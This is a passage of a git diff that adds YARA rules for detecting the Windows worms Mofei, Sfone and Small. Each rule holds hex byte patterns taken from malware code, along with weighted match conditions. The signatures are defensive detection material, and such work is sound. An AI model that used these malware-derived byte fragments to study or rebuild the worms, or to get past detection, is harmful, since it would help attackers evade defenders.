0a 07 6f ?? 00 00 0a 73 22 00 00 0a 0c 08 06 6f ?? 00 00 0a 08 04 6f ?? 00 00 0a 08 05 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 09 02 16 02 8e 69 6f ?? 00 00 0a 13 04 08 6f ?? 00 00 0a 11 04 2a } //2 + $a_03_1 = {28 18 00 00 0a 02 6f ?? 00 00 0a 6f ?? 00 00 0a 14 14 6f ?? 00 00 0a 26 2a } //2 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Worm/Win32/Mofei/Worm_Win32_Mofei_ENAW_MTB.yar b/Worm/Win32/Mofei/Worm_Win32_Mofei_ENAW_MTB.yar new file mode 100644 index 0000000000..8c827e470e --- /dev/null +++ b/Worm/Win32/Mofei/Worm_Win32_Mofei_ENAW_MTB.yar @@ -0,0 +1,12 @@ + +rule Worm_Win32_Mofei_ENAW_MTB{ + meta: + description = "Worm:Win32/Mofei.ENAW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_01_0 = {8a da fe c3 32 19 88 18 40 41 42 3b 54 24 10 } //3 + $a_01_1 = {8a 45 f4 83 c4 0c 88 04 1e 8a 45 f5 46 88 04 1e 46 } //3 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3) >=6 + +} \ No newline at end of file diff --git a/Worm/Win32/Sfone/Worm_Win32_Sfone_BY_MTB.yar b/Worm/Win32/Sfone/Worm_Win32_Sfone_BY_MTB.yar new file mode 100644 index 0000000000..8eec72f77d --- /dev/null +++ b/Worm/Win32/Sfone/Worm_Win32_Sfone_BY_MTB.yar @@ -0,0 +1,14 @@ + +rule Worm_Win32_Sfone_BY_MTB{ + meta: + description = "Worm:Win32/Sfone.BY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_03_0 = {89 d8 0f be c0 83 c0 41 88 45 fd 8d 45 fd 50 ff 15 ?? ?? ?? 00 89 44 9d 94 83 c3 01 83 fb 1a 7c } //2 + $a_01_1 = {38 74 78 34 72 37 6c 71 38 6c 37 6f 70 74 67 68 64 37 65 73 30 61 76 6a 69 63 69 76 32 78 31 6e 76 62 77 66 66 6c 35 62 72 79 76 6d 31 } //1 8tx4r7lq8l7optghd7es0avjiciv2x1nvbwffl5bryvm1 + $a_01_2 = {39 36 74 78 66 74 39 66 } //1 96txft9f + $a_01_3 = {6d 34 6a 75 64 39 76 63 73 35 73 6a 38 69 72 } //1 m4jud9vcs5sj8ir + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Worm/Win32/Sfone/Worm_Win32_Sfone_ECP_MTB.yar b/Worm/Win32/Sfone/Worm_Win32_Sfone_ECP_MTB.yar new file mode 100644 index 0000000000..3224bea0c4 --- /dev/null +++ b/Worm/Win32/Sfone/Worm_Win32_Sfone_ECP_MTB.yar @@ -0,0 +1,12 @@ + +rule Worm_Win32_Sfone_ECP_MTB{ + meta: + description = "Worm:Win32/Sfone.ECP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_02_0 = {83 e0 1f 50 59 8d 04 8d ?? ?? ?? ?? 8b 10 89 15 ?? ?? ?? ?? 8b 15 ?? ?? ?? ?? 89 10 a1 } //5 + $a_01_1 = {99 f7 f9 89 14 bb 83 c7 01 89 f8 39 f0 } //5 + condition: + ((#a_02_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Worm/Win32/Small/Worm_Win32_Small_GD_MTB.yar b/Worm/Win32/Small/Worm_Win32_Small_GD_MTB.yar new file mode 100644 index 0000000000..8502d4040a --- /dev/null +++ b/Worm/Win32/Small/Worm_Win32_Small_GD_MTB.yar @@ -0,0 +1,11 @@ + +rule Worm_Win32_Small_GD_MTB{ + meta: + description = "Worm:Win32/Small.GD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {34 44 47 47 59 9c 31 cb b5 19 d1 31 0d ?? ?? ?? ?? 19 ec e4 52 2a c2 2c a5 6c 52 e2 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file